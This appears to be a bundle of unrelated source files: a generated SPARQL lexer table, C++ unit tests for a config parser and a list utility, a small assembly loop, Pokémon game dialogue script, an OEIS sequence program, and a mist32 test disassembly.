0x2, 0x2, 0x5a7, 0x5a9, 0x3, 0x2, 0x2, 0x2, 0x5a8, 0x5a6, 0x3, 0x2,
0x2, 0x2, 0x5a9, 0x5b8, 0x5, 0x14f, 0xa8, 0x2, 0x5aa, 0x5ac, 0x7, 0x30,
0x2, 0x2, 0x5ab, 0x5ad, 0x9, 0x3, 0x2, 0x2, 0x5ac, 0x5ab, 0x3, 0x2,
0x2, 0x2, 0x5ad, 0x5ae, 0x3, 0x2, 0x2, 0x2, 0x5ae, 0x5ac, 0x3, 0x2,
0x2, 0x2, 0x5ae, 0x5af, 0x3, 0x2, 0x2, 0x2, 0x5af, 0x5b0, 0x3, 0x2,
0x2, 0x2, 0x5b0, 0x5b8, 0x5, 0x14f, 0xa8, 0x2, 0x5b1, 0x5b3, 0x9, 0x3,
0x2, 0x2, 0x5b2, 0x5b1, 0x3, 0x2, 0x2, 0x2, 0x5b3, 0x5b4, 0x3, 0x2,
0x2, 0x2, 0x5b4, 0x5b2, 0x3, 0x2, 0x2, 0x2, 0x5b4, 0x5b5, 0x3, 0x2,
0x2, 0x2, 0x5b5, 0x5b6, 0x3, 0x2, 0x2, 0x2, 0x5b6, 0x5b8, 0x5, 0x14f,
0xa8, 0x2, 0x5b7, 0x59e, 0x3, 0x2, 0x2, 0x2, 0x5b7, 0x5aa, 0x3, 0x2,
0x2, 0x2, 0x5b7, 0x5b2, 0x3, 0x2, 0x2, 0x2, 0x5b8, 0x142, 0x3, 0x2,
0x2, 0x2, 0x5b9, 0x5ba, 0x7, 0x2d, 0x2, 0x2, 0x5ba, 0x5bb, 0x5, 0x13d,
0x9f, 0x2, 0x5bb, 0x144, 0x3, 0x2, 0x2, 0x2, 0x5bc, 0x5bd, 0x7, 0x2d,
0x2, 0x2, 0x5bd, 0x5be, 0x5, 0x13f, 0xa0, 0x2, 0x5be, 0x146, 0x3, 0x2,
0x2, 0x2, 0x5bf, 0x5c0, 0x7, 0x2d, 0x2, 0x2, 0x5c0, 0x5c1, 0x5, 0x141,
0xa1, 0x2, 0x5c1, 0x148, 0x3, 0x2, 0x2, 0x2, 0x5c2, 0x5c3, 0x7, 0x2f,
0x2, 0x2, 0x5c3, 0x5c4, 0x5, 0x13d, 0x9f, 0x2, 0x5c4, 0x14a, 0x3, 0x2,
0x2, 0x2, 0x5c5, 0x5c6, 0x7, 0x2f, 0x2, 0x2, 0x5c6, 0x5c7, 0x5, 0x13f,
0xa0, 0x2, 0x5c7, 0x14c, 0x3, 0x2, 0x2, 0x2, 0x5c8, 0x5c9, 0x7, 0x2f,
0x2, 0x2, 0x5c9, 0x5ca, 0x5, 0x141, 0xa1, 0x2, 0x5ca, 0x14e, 0x3, 0x2,
0x2, 0x2, 0x5cb, 0x5cd, 0x9, 0x6, 0x2, 0x2, 0x5cc, 0x5ce, 0x9, 0x7,
0x2, 0x2, 0x5cd, 0x5cc, 0x3, 0x2, 0x2, 0x2, 0x5cd, 0x5ce, 0x3, 0x2,
0x2, 0x2, 0x5ce, 0x5d0, 0x3, 0x2, 0x2, 0x2, 0x5cf, 0x5d1, 0x9, 0x3,
0x2, 0x2, 0x5d0, 0x5cf, 0x3, 0x2, 0x2, 0x2, 0x5d1, 0x5d2, 0x3, 0x2,
0x2, 0x2, 0x5d2, 0x5d0, 0x3, 0x2, 0x2, 0x2, 0x5d2, 0x5d3, 0x3, 0x2,
0x2, 0x2, 0x5d3, 0x150, 0x3, 0x2, 0x2, 0x2, 0x5d4, 0x5d9, 0x7, 0x29,
0x2, 0x2, 0x5d5, 0x5d8, 0xa, 0x8, 0x2, 0x2, 0x5d6, 0x5d8, 0x5, 0x159,
0xad, 0x2, 0x5d7, 0x5d5, 0x3, 0x2, 0x2, 0x2, 0x5d7, 0x5d6, 0x3, 0x2,
0x2, 0x2, 0x5d8, 0x5db, 0x3, 0x2, 0x2, 0x2, 0x5d9, 0x5d7, 0x3, 0x2,
0x2, 0x2, 0x5d9, 0x5da, 0x3, 0x2, 0x2, 0x2, 0x5da, 0x5dc, 0x3, 0x2,
0x2, 0x2, 0x5db, 0x5d9, 0x3, 0x2, 0x2, 0x2, 0x5dc, 0x5dd, 0x7, 0x29,
0x2, 0x2, 0x5dd, 0x152, 0x3, 0x2, 0x2, 0x2, 0x5de, 0x5e3, 0x7, 0x24,
0x2, 0x2, 0x5df, 0x5e2, 0xa, 0x9, 0x2, 0x2, 0x5e0, 0x5e2, 0x5, 0x159,
0xad, 0x2, 0x5e1, 0x5df, 0x3, 0x2, 0x2, 0x2, 0x5e1, 0x5e0, 0x3, 0x2,
0x2, 0x2, 0x5e2, 0x5e5, 0x3, 0x2, 0x2, 0x2, 0x5e3, 0x5e1, 0x3, 0x2,
0x2, 0x2, 0x5e3, 0x5e4, 0x3, 0x2, 0x2, 0x2, 0x5e4, 0x5e6, 0x3, 0x2,
0x2, 0x2, 0x5e5, 0x5e3, 0x3, 0x2, 0x2, 0x2, 0x5e6, 0x5e7, 0x7, 0x24,
0x2, 0x2, 0x5e7, 0x154, 0x3, 0x2, 0x2, 0x2, 0x5e8, 0x5e9, 0x7, 0x29,
0x2, 0x2, 0x5e9, 0x5ea, 0x7, 0x29, 0x2, 0x2, 0x5ea, 0x5eb, 0x7, 0x29,
0x2, 0x2, 0x5eb, 0x5f7, 0x3, 0x2, 0x2, 0x2, 0x5ec, 0x5f0, 0x7, 0x29,
0x2, 0x2, 0x5ed, 0x5ee, 0x7, 0x29, 0x2, 0x2, 0x5ee, 0x5f0, 0x7, 0x29,
0x2, 0x2, 0x5ef, 0x5ec, 0x3, 0x2, 0x2, 0x2, 0x5ef, 0x5ed, 0x3, 0x2,
0x2, 0x2, 0x5ef, 0x5f0, 0x3, 0x2, 0x2, 0x2, 0x5f0, 0x5f3, 0x3, 0x2,
0x2, 0x2, 0x5f1, 0x5f4, 0x9, 0xa, 0x2, 0x2, 0x5f2, 0x5f4, 0x5, 0x159,
0xad, 0x2, 0x5f3, 0x5f1, 0x3, 0x2, 0x2, 0x2, 0x5f3, 0x5f2, 0x3, 0x2,
0x2, 0x2, 0x5f4, 0x5f6, 0x3, 0x2, 0x2, 0x2, 0x5f5, 0x5ef, 0x3, 0x2,
0x2, 0x2, 0x5f6, 0x5f9, 0x3, 0x2, 0x2, 0x2, 0x5f7, 0x5f5, 0x3, 0x2,
0x2, 0x2, 0x5f7, 0x5f8, 0x3, 0x2, 0x2, 0x2, 0x5f8, 0x5fa, 0x3, 0x2,
0x2, 0x2, 0x5f9, 0x5f7, 0x3, 0x2, 0x2, 0x2, 0x5fa, 0x5fb, 0x7, 0x29,
0x2, 0x2, 0x5fb, 0x5fc, 0x7, 0x29, 0x2, 0x2, 0x5fc, 0x5fd, 0x7, 0x29,
0x2, 0x2, 0x5fd, 0x156, 0x3, 0x2, 0x2, 0x2, 0x5fe, 0x5ff, 0x7, 0x24,
0x2, 0x2, 0x5ff, 0x600, 0x7, 0x24, 0x2, 0x2, 0x600, 0x601, 0x7, 0x24,
0x2, 0x2, 0x601, 0x60d, 0x3, 0x2, 0x2, 0x2, 0x602, 0x606, 0x7, 0x24,
0x2, 0x2, 0x603, 0x604, 0x7, 0x24, 0x2, 0x2, 0x604, 0x606, 0x7, 0x24,
0x2, 0x2, 0x605, 0x602, 0x3, 0x2, 0x2, 0x2, 0x605, 0x603, 0x3, 0x2,
0x2, 0x2, 0x605, 0x606, 0x3, 0x2, 0x2, 0x2, 0x606, 0x609, 0x3, 0x2,
0x2, 0x2, 0x607, 0x60a, 0x9, 0xb, 0x2, 0x2, 0x608, 0x60a, 0x5, 0x159,
0xad, 0x2, 0x609, 0x607, 0x3, 0x2, 0x2, 0x2, 0x609, 0x608, 0x3, 0x2,
0x2, 0x2, 0x60a, 0x60c, 0x3, 0x2, 0x2, 0x2, 0x60b, 0x605, 0x3, 0x2,
0x2, 0x2, 0x60c, 0x60f, 0x3, 0x2, 0x2, 0x2, 0x60d, 0x60b, 0x3, 0x2,
0x2, 0x2, 0x60d, 0x60e, 0x3, 0x2, 0x2, 0x2, 0x60e, 0x610, 0x3, 0x2,
0x2, 0x2, 0x60f, 0x60d, 0x3, 0x2, 0x2, 0x2, 0x610, 0x611, 0x7, 0x24,
0x2, 0x2, 0x611, 0x612, 0x7, 0x24, 0x2, 0x2, 0x612, 0x613, 0x7, 0x24,
0x2, 0x2, 0x613, 0x158, 0x3, 0x2, 0x2, 0x2, 0x614, 0x615, 0x7, 0x5e,
0x2, 0x2, 0x615, 0x616, 0x9, 0xc, 0x2, 0x2, 0x616, 0x15a, 0x3, 0x2,
0x2, 0x2, 0x617, 0x61b, 0x7, 0x2a, 0x2, 0x2, 0x618, 0x61a, 0x5, 0x15d,
0xaf, 0x2, 0x619, 0x618, 0x3, 0x2, 0x2, 0x2, 0x61a, 0x61d, 0x3, 0x2,
0x2, 0x2, 0x61b, 0x619, 0x3, 0x2, 0x2, 0x2, 0x61b, 0x61c, 0x3, 0x2,
0x2, 0x2, 0x61c, 0x61e, 0x3, 0x2, 0x2, 0x2, 0x61d, 0x61b, 0x3, 0x2,
0x2, 0x2, 0x61e, 0x61f, 0x7, 0x2b, 0x2, 0x2, 0x61f, 0x15c, 0x3, 0x2,
0x2, 0x2, 0x620, 0x621, 0x9, 0xd, 0x2, 0x2, 0x621, 0x622, 0x3, 0x2,
0x2, 0x2, 0x622, 0x623, 0x8, 0xaf, 0x2, 0x2, 0x623, 0x15e, 0x3, 0x2,
0x2, 0x2, 0x624, 0x628, 0x7, 0x5d, 0x2, 0x2, 0x625, 0x627, 0x5, 0x15d,
0xaf, 0x2, 0x626, 0x625, 0x3, 0x2, 0x2, 0x2, 0x627, 0x62a, 0x3, 0x2,
0x2, 0x2, 0x628, 0x626, 0x3, 0x2, 0x2, 0x2, 0x628, 0x629, 0x3, 0x2,
0x2, 0x2, 0x629, 0x62b, 0x3, 0x2, 0x2, 0x2, 0x62a, 0x628, 0x3, 0x2,
0x2, 0x2, 0x62b, 0x62c, 0x7, 0x5f, 0x2, 0x2, 0x62c, 0x160, 0x3, 0x2,
0x2, 0x2, 0x62d, 0x62f, 0x9, 0x2c, 0x2, 0x2, 0x62e, 0x62d, 0x3, 0x2,
0x2, 0x2, 0x62f, 0x162, 0x3, 0x2, 0x2, 0x2, 0x630, 0x633, 0x5, 0x161,
0xb1, 0x2, 0x631, 0x633, 0x7, 0x61, 0x2, 0x2, 0x632, 0x630, 0x3, 0x2,
0x2, 0x2, 0x632, 0x631, 0x3, 0x2, 0x2, 0x2, 0x633, 0x164, 0x3, 0x2,
0x2, 0x2, 0x634, 0x637, 0x5, 0x163, 0xb2, 0x2, 0x635, 0x637, 0x9, 0x3,
0x2, 0x2, 0x636, 0x634, 0x3, 0x2, 0x2, 0x2, 0x636, 0x635, 0x3, 0x2,
0x2, 0x2, 0x637, 0x63c, 0x3, 0x2, 0x2, 0x2, 0x638, 0x63b, 0x5, 0x163,
0xb2, 0x2, 0x639, 0x63b, 0x9, 0xe, 0x2, 0x2, 0x63a, 0x638, 0x3, 0x2,
0x2, 0x2, 0x63a, 0x639, 0x3, 0x2, 0x2, 0x2, 0x63b, 0x63e, 0x3, 0x2,
0x2, 0x2, 0x63c, 0x63a, 0x3, 0x2, 0x2, 0x2, 0x63c, 0x63d, 0x3, 0x2,
0x2, 0x2, 0x63d, 0x166, 0x3, 0x2, 0x2, 0x2, 0x63e, 0x63c, 0x3, 0x2,
0x2, 0x2, 0x63f, 0x642, 0x5, 0x163, 0xb2, 0x2, 0x640, 0x642, 0x9, 0xf,
0x2, 0x2, 0x641, 0x63f, 0x3, 0x2, 0x2, 0x2, 0x641, 0x640, 0x3, 0x2,
0x2, 0x2, 0x642, 0x168, 0x3, 0x2, 0x2, 0x2, 0x643, 0x64c, 0x5, 0x161,
0xb1, 0x2, 0x644, 0x647, 0x5, 0x167, 0xb4, 0x2, 0x645, 0x647, 0x7, 0x30,
0x2, 0x2, 0x646, 0x644, 0x3, 0x2, 0x2, 0x2, 0x646, 0x645, 0x3, 0x2,
0x2, 0x2, 0x647, 0x64a, 0x3, 0x2, 0x2, 0x2, 0x648, 0x646, 0x3, 0x2,
0x2, 0x2, 0x648, 0x649, 0x3, 0x2, 0x2, 0x2, 0x649, 0x64b, 0x3, 0x2,
0x2, 0x2, 0x64a, 0x648, 0x3, 0x2, 0x2, 0x2, 0x64b, 0x64d, 0x5, 0x167,
0xb4, 0x2, 0x64c, 0x648, 0x3, 0x2, 0x2, 0x2, 0x64c, 0x64d, 0x3, 0x2,
0x2, 0x2, 0x64d, 0x16a, 0x3, 0x2, 0x2, 0x2, 0x64e, 0x652, 0x5, 0x163,
0xb2, 0x2, 0x64f, 0x652, 0x4, 0x32, 0x3c, 0x2, 0x650, 0x652, 0x5, 0x16d,
0xb7, 0x2, 0x651, 0x64e, 0x3, 0x2, 0x2, 0x2, 0x651, 0x64f, 0x3, 0x2,
0x2, 0x2, 0x651, 0x650, 0x3, 0x2, 0x2, 0x2, 0x652, 0x660, 0x3, 0x2,
0x2, 0x2, 0x653, 0x657, 0x5, 0x167, 0xb4, 0x2, 0x654, 0x657, 0x9, 0x10,
0x2, 0x2, 0x655, 0x657, 0x5, 0x16d, 0xb7, 0x2, 0x656, 0x653, 0x3, 0x2,
0x2, 0x2, 0x656, 0x654, 0x3, 0x2, 0x2, 0x2, 0x656, 0x655, 0x3, 0x2,
0x2, 0x2, 0x657, 0x65a, 0x3, 0x2, 0x2, 0x2, 0x658, 0x656, 0x3, 0x2,
0x2, 0x2, 0x658, 0x659, 0x3, 0x2, 0x2, 0x2, 0x659, 0x65e, 0x3, 0x2,
0x2, 0x2, 0x65a, 0x658, 0x3, 0x2, 0x2, 0x2, 0x65b, 0x65f, 0x5, 0x167,
0xb4, 0x2, 0x65c, 0x65f, 0x7, 0x3c, 0x2, 0x2, 0x65d, 0x65f, 0x5, 0x16d,
0xb7, 0x2, 0x65e, 0x65b, 0x3, 0x2, 0x2, 0x2, 0x65e, 0x65c, 0x3, 0x2,
0x2, 0x2, 0x65e, 0x65d, 0x3, 0x2, 0x2, 0x2, 0x65f, 0x661, 0x3, 0x2,
0x2, 0x2, 0x660, 0x658, 0x3, 0x2, 0x2, 0x2, 0x660, 0x661, 0x3, 0x2,
0x2, 0x2, 0x661, 0x16c, 0x3, 0x2, 0x2, 0x2, 0x662, 0x665, 0x5, 0x16f,
0xb8, 0x2, 0x663, 0x665, 0x5, 0x173, 0xba, 0x2, 0x664, 0x662, 0x3, 0x2,
0x2, 0x2, 0x664, 0x663, 0x3, 0x2, 0x2, 0x2, 0x665, 0x16e, 0x3, 0x2,
0x2, 0x2, 0x666, 0x667, 0x7, 0x27, 0x2, 0x2, 0x667, 0x668, 0x5, 0x171,
0xb9, 0x2, 0x668, 0x669, 0x5, 0x171, 0xb9, 0x2, 0x669, 0x170, 0x3, 0x2,
0x2, 0x2, 0x66a, 0x66c, 0x9, 0x11, 0x2, 0x2, 0x66b, 0x66a, 0x3, 0x2,
0x2, 0x2, 0x66c, 0x172, 0x3, 0x2, 0x2, 0x2, 0x66d, 0x66e, 0x7, 0x5e,
0x2, 0x2, 0x66e, 0x66f, 0x9, 0x12, 0x2, 0x2, 0x66f, 0x174, 0x3, 0x2,
0x2, 0x2, 0x670, 0x671, 0x9, 0x13, 0x2, 0x2, 0x671, 0x176, 0x3, 0x2,
0x2, 0x2, 0x672, 0x673, 0x9, 0x14, 0x2, 0x2, 0x673, 0x178, 0x3, 0x2,
0x2, 0x2, 0x674, 0x675, 0x9, 0x15, 0x2, 0x2, 0x675, 0x17a, 0x3, 0x2,
0x2, 0x2, 0x676, 0x677, 0x9, 0x16, 0x2, 0x2, 0x677, 0x17c, 0x3, 0x2,
0x2, 0x2, 0x678, 0x679, 0x9, 0x6, 0x2, 0x2, 0x679, 0x17e, 0x3, 0x2,
0x2, 0x2, 0x67a, 0x67b, 0x9, 0x17, 0x2, 0x2, 0x67b, 0x180, 0x3, 0x2,
0x2, 0x2, 0x67c, 0x67d, 0x9, 0x18, 0x2, 0x2, 0x67d, 0x182, 0x3, 0x2,
0x2, 0x2, 0x67e, 0x67f, 0x9, 0x19, 0x2, 0x2, 0x67f, 0x184, 0x3, 0x2,
0x2, 0x2, 0x680, 0x681, 0x9, 0x1a, 0x2, 0x2, 0x681, 0x186, 0x3, 0x2,
0x2, 0x2, 0x682, 0x683, 0x9, 0x1b, 0x2, 0x2, 0x683, 0x188, 0x3, 0x2,
0x2, 0x2, 0x684, 0x685, 0x9, 0x1c, 0x2, 0x2, 0x685, 0x18a, 0x3, 0x2,
0x2, 0x2, 0x686, 0x687, 0x9, 0x1d, 0x2, 0x2, 0x687, 0x18c, 0x3, 0x2,
0x2, 0x2, 0x688, 0x689, 0x9, 0x1e, 0x2, 0x2, 0x689, 0x18e, 0x3, 0x2,
0x2, 0x2, 0x68a, 0x68b, 0x9, 0x1f, 0x2, 0x2, 0x68b, 0x190, 0x3, 0x2,
0x2, 0x2, 0x68c, 0x68d, 0x9, 0x20, 0x2, 0x2, 0x68d, 0x192, 0x3, 0x2,
0x2, 0x2, 0x68e, 0x68f, 0x9, 0x21, 0x2, 0x2, 0x68f, 0x194, 0x3, 0x2,
0x2, 0x2, 0x690, 0x691, 0x9, 0x22, 0x2, 0x2, 0x691, 0x196, 0x3, 0x2,
0x2, 0x2, 0x692, 0x693, 0x9, 0x23, 0x2, 0x2, 0x693, 0x198, 0x3, 0x2,
0x2, 0x2, 0x694, 0x695, 0x9, 0x24, 0x2, 0x2, 0x695, 0x19a, 0x3, 0x2,
0x2, 0x2, 0x696, 0x697, 0x9, 0x25, 0x2, 0x2, 0x697, 0x19c, 0x3, 0x2,
0x2, 0x2, 0x698, 0x699, 0x9, 0x26, 0x2, 0x2, 0x699, 0x19e, 0x3, 0x2,
0x2, 0x2, 0x69a, 0x69b, 0x9, 0x27, 0x2, 0x2, 0x69b, 0x1a0, 0x3, 0x2,
0x2, 0x2, 0x69c, 0x69d, 0x9, 0x28, 0x2, 0x2, 0x69d, 0x1a2, 0x3, 0x2,
0x2, 0x2, 0x69e, 0x69f, 0x9, 0x29, 0x2, 0x2, 0x69f, 0x1a4, 0x3, 0x2,
0x2, 0x2, 0x6a0, 0x6a1, 0x9, 0x2a, 0x2, 0x2, 0x6a1, 0x1a6, 0x3, 0x2,
0x2, 0x2, 0x6a2, 0x6a3, 0x9, 0x2b, 0x2, 0x2, 0x6a3, 0x1a8, 0x3, 0x2,
0x2, 0x2, 0x32, 0x2, 0x557, 0x55d, 0x569, 0x56d, 0x56f, 0x573, 0x57f,
0x585, 0x589, 0x58f, 0x594, 0x59b, 0x5a0, 0x5a6, 0x5ae, 0x5b4, 0x5b7,
0x5cd, 0x5d2, 0x5d7, 0x5d9, 0x5e1, 0x5e3, 0x5ef, 0x5f3, 0x5f7, 0x605,
0x609, 0x60d, 0x61b, 0x628, 0x62e, 0x632, 0x636, 0x63a, 0x63c, 0x641,
0x646, 0x648, 0x64c, 0x651, 0x656, 0x658, 0x65e, 0x660, 0x664, 0x66b,
0x3, 0x8, 0x2, 0x2,
};
atn::ATNDeserializer deserializer;
_atn = deserializer.deserialize(_serializedATN);
size_t count = _atn.getNumberOfDecisions();
_decisionToDFA.reserve(count);
for (size_t i = 0; i < count; i++) {
_decisionToDFA.emplace_back(_atn.getDecisionState(i), i);
}
}
SPARQLLexer::Initializer SPARQLLexer::_init;
|
#pragma once
#include "InputBlock.hpp"
#include <cassert>
#include <iostream>
inline void run_tests(const UserIO::InputBlock &ib);
inline void test_InputBlock() {
// A basic unit test of UserIO::InputBlock
// Tests each function, but not all that thoroughly
using namespace UserIO;
InputBlock ib("name1", {{"k1", "1"}, {"k2", "2.5"}});
ib.add(Option{"k3", "number_3"});
ib.add(InputBlock("blockA", {{"kA1", "old_val"}, {"kA1", "new_val"}}));
ib.add(InputBlock("blockB", {{"keyB1", "valB"}}));
ib.add(InputBlock("blockX", {})); // test empty block
// 'true' means will be merged with existing block (if exists)
ib.add(InputBlock("blockB", {{"keyB2", "17.3"}}), true);
std::string input_string = "blockC{ kC1=1; InnerBlock{ kib1=-6; } }";
ib.add(input_string);
ib.add(Option{"list", "1,2,3,4,5"});
ib.add(Option{"bool1", "true"});
ib.add(Option{"bool2", "false"});
ib.add(Option{"blank", ""}); // test blank option
run_tests(ib);
// Construct a new InputBlock using the string output of another
std::stringstream ostr1;
ib.print(ostr1);
InputBlock ib2("name2", ostr1.str());
// Run same tests on this one
run_tests(ib2);
// test copy construct
auto ib3 = ib2;
run_tests(ib3);
// test copy assign
ib2 = ib;
run_tests(ib2);
// Test that the two string outputs are identical
std::stringstream ostr2;
ib2.print(ostr2);
assert(ostr1.str() == ostr2.str());
std::cout << "\nPassed all tests :)\n";
}
//******************************************************************************
void run_tests(const UserIO::InputBlock &ib) {
assert(ib.get("k1", 0) == 1);
// There is no k109 option, so should return default value
assert(ib.get("k109", -17.6) == -17.6);
// Test it returns 'empty' optional
assert(ib.get("k109") == std::nullopt);
assert(!ib.get("k109"));
assert(ib.get<double>("k2") == 2.5);
// Returns an std::optional, so test that
assert(ib.get<double>("k2").value() == 2.5);
// Should instatiate as std::string by default
assert(ib.get("k3") == "number_3");
// Should return the later of two options with same key (overrides earlier)
assert(ib.getBlock("blockA")->get("kA1") == "new_val");
assert(ib.getBlock("blockZ") == std::nullopt);
// Adding two 'blockB' - these should be 'consolidated'
assert(ib.getBlock("blockB")->get("keyB1") == "valB");
assert(ib.getBlock("blockB")->get("keyB2", 0.0) == 17.3);
// Test blockC - added via a string
assert(ib.getBlock("blockC")->get<int>("kC1") == 1);
// test nested blocks
assert(ib.getBlock("blockC")->getBlock("InnerBlock")->get<int>("kib1") == -6);
// Test the 'nested block' retrival
assert(ib.get<int>({}, "k1") == 1);
assert(ib.get<std::string>({"blockA"}, "kA1") == "new_val");
assert(ib.get<int>({"blockC", "InnerBlock"}, "kib1") == -6);
// test the input list
const auto in_list = ib.get<std::vector<int>>("list", {});
const std::vector<int> expected_list{1, 2, 3, 4, 5};
assert(in_list.size() == expected_list.size() &&
std::equal(in_list.cbegin(), in_list.cend(), expected_list.cbegin()));
assert(ib.get<bool>("bool1").value() == true);
assert(ib.get<bool>("bool2").value() == false);
// Test the 'blank' option - should return default (2)
assert(ib.get("blank", 2) == 2);
}
|
#include "stdafx.h"
BOOST_AUTO_TEST_CASE( to_list_t )
{
using namespace flow;
auto init_list = { 1, 2, 3, 4, 5, 6, 1, 2, 3, 4, 5, 6, -1, -2, -3, -4, -5, -6 };
std::list<int> em;
auto tem = empty<int>() | to_list();
BOOST_CHECK_EQUAL_COLLECTIONS(em.begin(), em.end(), tem.begin(), tem.end());
std::list<int> con = init_list;
auto res = from(init_list) | to_list();
BOOST_CHECK_EQUAL_COLLECTIONS(con.begin(), con.end(), res.begin(), res.end());
auto tem2 = empty<int>() | to_list(std::allocator<int>());
BOOST_CHECK_EQUAL_COLLECTIONS(em.begin(), em.end(), tem2.begin(), tem2.end());
std::list<int, std::allocator<int>> de = init_list;
auto de2 = from(init_list) | to_list(std::allocator<int>());
BOOST_CHECK_EQUAL_COLLECTIONS(de.begin(), de.end(), de2.begin(), de2.end());
}
|
leaw $R0, %A
movw (%A), %S ; S=RAM(%A)
leaw $R1, %A
movw (%A), %D ; D=RAM(%A)
WHILE: ; while D not 0
leaw $END, %A
jle ; termina o while se D=0
nop
leaw $R0, %A
movw (%A), %S ; S=RAM(%A)
leaw $R3, %A
addw (%A), %S, %S ; soma A com S e salva em R3
leaw $R3,%A
movw %S, (%A) ; R0=S
decw %D ; diminui D em 1
leaw $WHILE, %A ; recomeรงa o while
jmp
nop
END:
|
_SSAnne8Text8::
text "WIGGLYTUFF: Puup"
line "pupuu!@@"
_SSAnne8BattleText1::
text "I travel alone"
line "on my journeys!"
para "My #MON are my"
line "only friends!"
done
_SSAnne8EndBattleText1::
text "My, my"
line "friends..."
prompt
_SSAnne8AfterBattleText1::
text "You should be"
line "nice to friends!"
done
_SSAnne8BattleText2::
text "You pup! How dare"
line "you barge in!"
done
_SSAnne8EndBattleText2::
text "Humph!"
line "You rude child!"
prompt
_SSAnne8AfterBattleText2::
text "I wish to be left"
line "alone! Get out!"
done
_SSAnne8BattleText3::
text "I love #MON!"
line "Do you?"
done
_SSAnne8EndBattleText3::
text "Wow! "
line "You're great!"
prompt
_SSAnne8AfterBattleText3::
text "Let me be your"
line "friend, OK?"
para "Then we can trade"
line "#MON!"
done
_SSAnne8BattleText4::
text "I collected these"
line "#MON from all"
cont "around the world!"
done
_SSAnne8EndBattleText4::
text "Oh no!"
line "I went around the"
cont "world for these!"
prompt
_SSAnne8AfterBattleText4::
text "You hurt my poor"
line "worldly #MON!"
para "I demand that you"
line "heal them at a"
cont "#MON CENTER!"
done
_SSAnne8Text5::
text "Waiter, I would"
line "like a cherry pie"
cont "please!"
done
_SSAnne8Text6::
text "A cruise is so"
line "elegant yet cozy!"
done
_SSAnne8Text7::
text "I always travel"
line "with WIGGLYTUFF!"
done
_SSAnne8Text9::
text "We are cruising"
line "around the world."
done
_SSAnne8Text11::
text "Ssh! I'm a GLOBAL"
line "POLICE agent!"
para "I'm on the trail"
line "of TEAM ROCKET!"
done
|
; A232950: Number of n X 3 0..3 arrays with no element x(i,j) adjacent to value 3-x(i,j) horizontally, diagonally or antidiagonally, and top left element zero.
; Submitted by Christian Krause
; 9,129,1881,27441,400329,5840289,85202361,1242993681,18133691049,264547403649,3859408908441,56303849204721,821401284620169,11983196174074209,174819534903392121,2550393846506436561,37206990488176195689,542802494243604315969,7918795470725007565401,115525117095413487585201,1685363983606852268385609,24587309051530303100272929,358697451871313432893780281,5232937923760519674805066641,76341884145179914524713317929,1113730634635135599821869369089,16247908214655954510179760628761
mov $2,1
lpb $0
sub $0,1
add $1,$2
mul $1,2
add $2,$1
mul $1,3
add $2,$1
add $2,1
lpe
add $1,$2
mov $0,$1
sub $0,1
mul $0,8
add $0,9
|
./out/mulh.out: ใใกใคใซๅฝขๅผ elf32-mist32
ใปใฏใทใงใณ .text ใฎ้ใขใปใณใใซ:
00000000 <_start>:
0: 0d 40 00 00 wl16 r0,0x0
4: 0d 60 00 0f wh16 r0,0xf
8: 1c 00 00 00 srspw r0
c: 14 30 00 18 br 6c <check>,#al
00000010 <compare>:
10: 00 c0 01 09 cmp r8,r9
14: 14 41 03 e0 b rret,#eq
00000018 <error>:
18: 0d 40 00 00 wl16 r0,0x0
1c: 0d 60 00 02 wh16 r0,0x2
20: 0e c0 00 20 lil r1,0
24: 10 a0 00 20 st32 r1,r0
28: 0d 40 00 0c wl16 r0,0xc
2c: 0d 60 00 02 wh16 r0,0x2
30: 10 a0 00 40 st32 r2,r0
34: 0d 40 00 08 wl16 r0,0x8
38: 0d 60 00 02 wh16 r0,0x2
3c: 10 a0 00 60 st32 r3,r0
40: 0d 40 00 10 wl16 r0,0x10
44: 0d 60 00 02 wh16 r0,0x2
48: 10 a0 01 00 st32 r8,r0
4c: 0d 40 00 14 wl16 r0,0x14
50: 0d 60 00 02 wh16 r0,0x2
54: 10 a0 01 20 st32 r9,r0
00000058 <finish>:
58: 0d 40 00 04 wl16 r0,0x4
5c: 0d 60 00 02 wh16 r0,0x2
60: 0e c0 00 21 lil r1,1
64: 10 a0 00 20 st32 r1,r0
68: 14 30 00 00 br 68 <finish+0x10>,#al
0000006c <check>:
6c: 0c 40 00 42 xor r2,r2
70: 0c 40 00 63 xor r3,r3
74: 0d 40 01 00 wl16 r8,0x0
78: 0d 60 01 03 wh16 r8,0x3
7c: 10 40 01 08 ld32 r8,r8
80: 0d 42 1e 1c wl16 r16,0x10fc
84: 0d 60 02 03 wh16 r16,0x3
88: 10 40 02 10 ld32 r16,r16
8c: 0d 44 3d 38 wl16 r9,0x21f8
90: 0d 60 01 23 wh16 r9,0x3
94: 10 40 01 29 ld32 r9,r9
98: 00 60 01 10 mulh r8,r16
9c: 20 70 03 e2 movepc rret,8
a0: 14 30 ff dc br 10 <compare>,#al
a4: 00 10 00 41 add r2,1
a8: 0d 40 01 04 wl16 r8,0x4
ac: 0d 60 01 03 wh16 r8,0x3
b0: 10 40 01 08 ld32 r8,r8
b4: 0d 42 22 00 wl16 r16,0x1100
b8: 0d 60 02 03 wh16 r16,0x3
bc: 10 40 02 10 ld32 r16,r16
c0: 0d 44 3d 3c wl16 r9,0x21fc
c4: 0d 60 01 23 wh16 r9,0x3
c8: 10 40 01 29 ld32 r9,r9
cc: 00 60 01 10 mulh r8,r16
d0: 20 70 03 e2 movepc rret,8
d4: 14 30 ff cf br 10 <compare>,#al
d8: 00 10 00 41 add r2,1
dc: 0d 40 01 08 wl16 r8,0x8
e0: 0d 60 01 03 wh16 r8,0x3
e4: 10 40 01 08 ld32 r8,r8
e8: 0d 42 22 04 wl16 r16,0x1104
ec: 0d 60 02 03 wh16 r16,0x3
f0: 10 40 02 10 ld32 r16,r16
f4: 0d 44 41 20 wl16 r9,0x2200
f8: 0d 60 01 23 wh16 r9,0x3
fc: 10 40 01 29 ld32 r9,r9
100: 00 60 01 10 mulh r8,r16
104: 20 70 03 e2 movepc rret,8
108: 14 30 ff c2 br 10 <compare>,#al
10c: 00 10 00 41 add r2,1
110: 0d 40 01 0c wl16 r8,0xc
114: 0d 60 01 03 wh16 r8,0x3
118: 10 40 01 08 ld32 r8,r8
11c: 0d 42 22 08 wl16 r16,0x1108
120: 0d 60 02 03 wh16 r16,0x3
124: 10 40 02 10 ld32 r16,r16
128: 0d 44 41 24 wl16 r9,0x2204
12c: 0d 60 01 23 wh16 r9,0x3
130: 10 40 01 29 ld32 r9,r9
134: 00 60 01 10 mulh r8,r16
138: 20 70 03 e2 movepc rret,8
13c: 14 30 ff b5 br 10 <compare>,#al
